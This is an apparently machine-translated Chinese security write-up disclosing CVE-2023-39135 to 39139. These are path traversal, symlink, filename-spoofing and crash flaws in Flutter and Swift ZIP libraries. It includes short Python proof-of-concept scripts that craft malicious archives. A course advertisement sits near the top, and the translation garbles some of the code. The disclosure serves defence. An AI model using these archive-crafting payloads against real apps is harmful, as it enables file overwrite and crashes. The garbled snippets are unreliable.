最近的深入调查揭示了在 Flutter 和 Swift 中广泛使用的 zip 包中发现的严重漏洞,给成千上万的开发人员和应用程序带来了严重的安全风险。我们的文章深入探讨了这些漏洞的技术方面,解释了它们的发现、影响和缓解策略。
介绍
ZIP 包是包含多个文件和目录的压缩存档,允许开发人员方便地捆绑应用程序功能所需的资源、库和其他组件。虽然 ZIP 包提供了效率和易用性,但它们也可能是恶意行为者可以利用的潜在安全漏洞的来源。
-
恶意软件开发
-
-
二进制漏洞 -
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
本文将深入探讨 zip 处理实现的安全性,展示 Swift 和 Dart (Flutter) 生态系统中流行的 Zip 库中的漏洞。我们将探讨与恶意 ZIP 包相关的潜在风险及其对移动应用程序安全的影响。此外,我们将讨论最佳实践和有效策略,以确保在整个开发生命周期中对 ZIP 包提供强大的保护。
ZIP文件剖析
ZIP 文件通常遵循以下布局:
+------------------------------------------------------+
| 当地文件头 |
| +----------------------------------------------+ |
| | 当地文件头签名(4 字节) | |
| |提取所需的版本(2 字节) | |
| |通用位标志(2 字节) | |
| |压缩方法(2 字节) | |
| | 最后Mod Time (2 字节) | |
| | 最后Mod 日期 (2 字节) | |
| |CRC-32 校验和(4 字节) | |
| |压缩大小(4 字节) | |
| |未压缩大小(4 字节) | |
| |文件名长度(2 字节) | |
| |额外字段长度(2 字节) | |
| +----------------------------------------------+ |
| |文件名(可变长度) | |
| | | |
| +----------------------------------------------+ |
| |额外字段(可变长度) | |
| | | |
| +----------------------------------------------+ |
|压缩数据 |
| |
| +----------------------------------------------+ |
| |数据描述符(可选) | |
| | +------------------------------------------+ | |
| | |CRC-32 校验和(4 字节) | | |
| | |压缩大小(4 字节) | | |
| | |未压缩大小(4 字节) | | |
| | +------------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+|
中央目录 |
| +----------------------------------------------+ |
| |中央目录文件头 | |
| | +--------------------------------------+ | |
| | |中央目录标头签名 | | |
| | |版本制作者 (2 字节) | | |
| | |提取所需的版本(2 字节) | | |
| | |通用位标志(2 字节) | | |
| | |...| | |
| | +--------------------------------------+ | |
| | |CRC-32 校验和(4 字节) | | |
| | |压缩大小(4 字节) | | |
| | |未压缩大小(4 字节) | | |
| | |文件名长度(2 字节) | | |
| | |...| | |
| | +--------------------------------------+ | |
| | |文件名(可变长度) | | |
| | | | | |
| | +--------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+|
中央目录记录结束 |
| +----------------------------------------------+ |
| | 中央目录签名结束 (4字节) | |
| |...| |
| +----------------------------------------------+ |
+------------------------------------------------------+
zip 结构的显着部分是:
-
本地文件头:本地文件头是 ZIP 存档中每个文件开头的一个部分。它包含有关压缩文件的基本信息,例如其名称、大小、压缩方法和其他属性。此标头允许软件从ZIP存档中查找和提取单个文件。
-
数据描述符:数据描述符是ZIP文件格式中的可选部分。它提供有关文件压缩数据的其他信息。数据描述符的用途是存储未压缩数据、压缩大小和未压缩大小的 CRC-32 校验和。包含此信息允许进行完整性检查,并且在提取文件时非常有用。
-
中央目录文件头:中央目录文件头是 ZIP 文件中的一个部分,其中包含有关存档中每个文件的元数据。它提供文件名、压缩大小、未压缩大小、压缩方法和其他属性等详细信息。中央目录文件头位于中央目录结构中,这是ZIP存档中所有文件的目录。
-
中央目录记录 (EOCD) 结束:中央目录结束 (EOCD) 记录是 ZIP 文件末尾的一个部分,用于标记中央目录结构的结束。它包含基本信息,包括中央目录中的条目数、中央目录的大小以及与中央目录开头的偏移量。EOCD 记录允许软件查找和访问中央目录,该目录提供有关 ZIP 存档中文件的信息。
常见的ZIP漏洞:
-
ZIP 路径遍历:Zip 路径遍历(也称为 Zip Slip)是一种安全漏洞,当应用程序在提取过程中无法验证 zip 条目的文件名时,就会发生该漏洞。它允许攻击者将文件提取到提取目录之外的任意位置,这有助于覆盖敏感的用户数据,在某些情况下,如果攻击者覆盖应用程序的共享对象文件,则可能导致代码执行。
-
ZIP 文件名欺骗:在 ZIP 存档的上下文中,有两种与文件名相关的主要数据结构:和 ,如果解析器从中读取文件名,然后继续提取文件,路径为 .
Central Directory Entry
Local File Header
Local File Header
Central Directory Entry
-
ZIP 符号链接路径遍历:ZIP 符号链接是许多 zip 实用程序中使用的一项功能,它允许这些符号链接指向提取目录之外的文件。这可能会带来安全风险,导致覆盖敏感数据或共享对象文件,从而导致代码执行。
-
ZIP 炸弹:zip 炸弹是一个小型 zip 文件,其中包含大量压缩数据。提取后,它会扩展为大文件或消耗过多的系统资源,从而可能导致拒绝服务 (DoS)。
要分析的 ZIP 包
档案
Brendan Duncan 是用于处理压缩文件的流行 flutter 软件包之一,该软件包在 Dart 中原生实现流行的存档格式,而无需像 android 或 iOS 那样通过特定于本机平台的软件包。archive
java.util.zip
ZIPFoundation
语言: Dart (Flutter)
链接: https://pub.dev/packages/archive
Flutter_archive
flutter_archive
是另一个专门用于 zip 文件的压缩文件的 Flutter 包,该包通过利用 Flutter 的 .java.util.zip
MethodChannel
语言:飞镖(颤动)
链接:https://pub.dev/packages/flutter_archive
ZIP下载
ZIPFoundation
是一个用于创建、读取和修改 ZIP 存档文件的库。它是用 Swift 编写的,基于 Apple 的 libcompression,以实现高性能和能源效率。
语言: Swift
链接: https://github.com/weichsel/ZIPFoundation
邮编
Zip
是一个用于压缩和解压缩文件的 Swift 框架。简单快捷。建立在 minizip 之上。
语言: Swift
链接: https://github.com/marmelroy/Zip
ZIPArchive (SSZIPArchive)
ZipArchive 是一个简单的实用程序类,用于在 iOS、macOS 和 tvOS 上压缩和解压缩文件。
语言: Swift
链接: https://github.com/ZipArchive/ZipArchive
检测到的漏洞
包:存档
ZIP 文件名欺骗 (CVE-2023–39137)
archive
package 只解析 的文件名,这导致与大多数通常偏爱的 zip 解析器不一致,这种不一致可能会被攻击者滥用,他们可以在 和 中制作具有不同文件名的恶意 zip 文件,从而在提取前后拥有具有不同文件名的文件。Local File Header
Central Directory Entry
Local File Header
Central Directory Entry
String filename = '';
List<int> extraField = [];
String fileComment = '';
ZipFile? file;
ZipFileHeader(
[InputStreamBase? input, InputStreamBase? bytes, String? password]) {
if (input != null) {
versionMadeBy = input.readUint16();
versionNeededToExtract = input.readUint16();
generalPurposeBitFlag = input.readUint16();
compressionMethod = input.readUint16();
lastModifiedFileTime = input.readUint16();
lastModifiedFileDate = input.readUint16();
crc32 = input.readUint32();
compressedSize = input.readUint32();
uncompressedSize = input.readUint32();
final fnameLen = input.readUint16();
final extraLen = input.readUint16();
final commentLen = input.readUint16();
diskNumberStart = input.readUint16();
internalFileAttributes = input.readUint16();
externalFileAttributes = input.readUint32();
localHeaderOffset = input.readUint32();
if (fnameLen > 0) {
filename = input.readString(size: fnameLen);
}
为了测试这一点,我们制作了一个 zip 文件,分别具有不同的文件名字段值 evil.apk 和 evil.txt for 和Local File Header
Central Directory Entry
概念验证代码:
import zipfile
def generate_spoofed_zip(filename):
与 zipfile。ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, “Test payload”)
with open('payload.zip', 'rb') as zipf:
zip_data = zipf.read()
spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)
with open('payload.zip', 'wb') as zipf:
zipf.write(spoofed_data)
original_filename = 'evil.txt'spoofed_filename
= 'evil.apk'if
len(original_filename) != len(spoofed_filename):
提高ValueError(“文件名长度必须相等”)
generate_spoofed_zip(original_filename)
当我们在 zip 文件上运行实用程序时,其中的文件名被解析为zipinfo
evil.txt
但是,在从包中提取 using 函数后,文件名被解析为extractFileToDisk
archive
evil.apk
ZIP 符号链接路径遍历 (CVE-2023–39139)
我们在检查包时发现的另一个有趣的发现是,它不仅在提取后链接回符号链接,而且还链接指向任何路径的符号链接,甚至在提取目录之外。
for (final file in archive.files) {
final filePath = p.join(outputPath, p.normalize(file.name));
if (!isWithinOutputPath(outputPath, filePath)) {
continue;
}
if (!file.isFile && !file.isSymbolicLink) {
Directory(filePath).createSync(recursive: true);
continue;
}
if (asyncWrite) {
if (file.isSymbolicLink) {
final link = Link(filePath);
await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
} else {
final output = File(filePath);
final f = await output.create(recursive: true);
final fp = await f.open(mode: FileMode.write);
final bytes = file.content as List<int>;
await fp.writeFrom(bytes);
file.clear();
futures.add(fp.close());
}
为了测试我们是否创建了一个指向父目录中的文件 (secret.txt) 的符号链接,我们使用命令压缩了该符号链接,并使用 function 在 Android 测试设备上提取。zip --symlinks poc.zip evil
poc.zip
extractFileToDisk
概念验证代码:
import zipfile
def compress_file(filename):
zipInfo = zipfile.ZipInfo(“.”)
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = 带有 zipfile 的文件名
。ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, “/etc/hosts”)
filename = 'evil'compress_file
(filename)
解压缩 zip 文件后,符号链接被链接回并指向解压缩目录之外的 。../secret.txt
包: ZIPFoundation
ZIP 符号链接路径遍历 (CVE-2023–39138)
提取后,该包将来自 zip 条目的路径直接传递到,而无需检查它是否位于提取目录中,我们复制了上面的相同测试,发现此包也允许指向提取目录外部的符号链接。fileManager.createSymbolicLink
case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}
ZIP 路径遍历 (CVE-2023–39138)
该包使用该函数检查 zip 条目路径是否位于提取目录中:isContained
func isContained(in parentDirectoryURL: URL) -> Bool {
// Ensure this URL is contained in the passed in URL
let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
}
...
guard entryURL.isContained(in: destinationURL) else {
throw CocoaError(.fileReadInvalidFileName,
userInfo: [NSFilePathErrorKey: entryURL.path])
}
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)
下面是该函数的代码片段:extract
public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
progress: Progress? = nil) throws -> CRC32 {
guard bufferSize > 0 else {
throw ArchiveError.invalidBufferSize
}
let fileManager = FileManager()
var checksum = CRC32(0)
switch entry.type {
case .file:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
try fileManager.createParentDirectoryStructure(for: url)
let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
throw POSIXError(errno, path: url.path)
}
defer { fclose(destinationFile) }
let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
当提供以下路径时,该路径将规范化为通过上述检查的路径。当相同的路径被传递给 时,它会被规范化为 ,允许我们在提取目录之外写入文件。/base_path/extraction_directory//../
/base_path/extraction_directory/entry_file_name
fopen
/base_path/entry_file_name
概念验证代码:
import zipfile
def compress_file(filename):
与 zipfile。ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, “测试有效负载”)
filename = '/../secret.txt'compress_file
(文件名)
包装: Zip
ZIP 路径遍历 (CVE-2023–39135)
下面是用于提取zip文件的函数中的代码片段,您可以注意到来自我们的zip条目被附加到目录中,无需任何清理unzipFile
pathString
destination
let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)
unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0
var pathString = String(cString: fileName)
guard pathString.count > 0 else {
throw ZipError.unzipFail
}
var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\".cString(using: String.Encoding.utf8)?.first) {
isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\")) != nil {
pathString = pathString.replacingOccurrences(of: "\", with: "/")
}
let fullPath = destination.appendingPathComponent(pathString).path
概念验证代码:
import zipfile
def compress_file(filename):
与 zipfile。ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, “测试有效负载”)
filename = '../secret.txt'compress_file
(文件名)
包: ZIPArchive (SSZIPArchive)
拒绝服务 (CVE-2023–39136)
下面是用于清理 zip 条目文件名的函数的代码片段,代码在 zip 条目路径前置前缀,使用它对其进行标准化,然后删除前缀,但是当作为路径呈现时,输出成为 ,它有 7 个字符,而代码至少需要 8 个字符,这种未经处理的边缘情况会导致应用程序崩溃。_sanitizedPath
file:///
NSURL
/..
NSURL
file://
if (strPath == nil) {
return nil;
添加方案 “file:///” 以支持对带有冒号的名称进行清理,例如 “file:a/../../../usr/bin“
strPath = [@”file:///“ stringByAppendingString:strPath];
// 清理路径遍历字符以防止目录回溯。忽略这些字符会模仿 macOS 上“取消存档”工具的默认行为。
// “../../../../../../../../../../../tmp/test.txt“ -> ”tmp/test.txt“
// ”a/b/../c.txt“ -> ”a/c.txt“
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;
删除 “file:///” 方案
strPath = [strPath substringFromIndex:8];
概念验证代码:
import zipfile
def compress_file(filename):
与 zipfile。ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, “测试有效负载”)
filename = '/..'
compress_file(文件名)
汇总表
结论
总之,ZIP漏洞会带来重大的安全风险,开发人员在处理存档文件时应注意这些风险。ZIP文件格式虽然被广泛使用和支持,但也不能幸免于难。了解和解决这些漏洞对于保护敏感数据和防止潜在攻击至关重要。
本文重点介绍了几个常见的ZIP漏洞,包括ZIP路径遍历、ZIP文件名欺骗、ZIP符号链接漏洞和ZIP炸弹攻击。这些漏洞中的每一个都暴露了不同的风险,例如未经授权访问文件、覆盖敏感数据、拒绝服务 (DoS) 甚至在某些情况下执行代码。
对于开发人员来说,在处理 ZIP 文件时实施强大的安全措施非常重要。这包括在提取过程中验证 zip 条目文件名以防止路径遍历攻击,确保本地文件头和中央目录条目中的文件名之间的一致性以减轻文件名欺骗,限制提取文件的访问权限,以及实施适当的解压缩技术以防止 ZIP 炸弹导致的 DoS 情况。
此外,随时了解与开发框架中使用的 ZIP 库或包相关的安全更新和补丁也至关重要。定期查看和更新这些依赖项有助于缓解已知漏洞并防范新出现的威胁。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论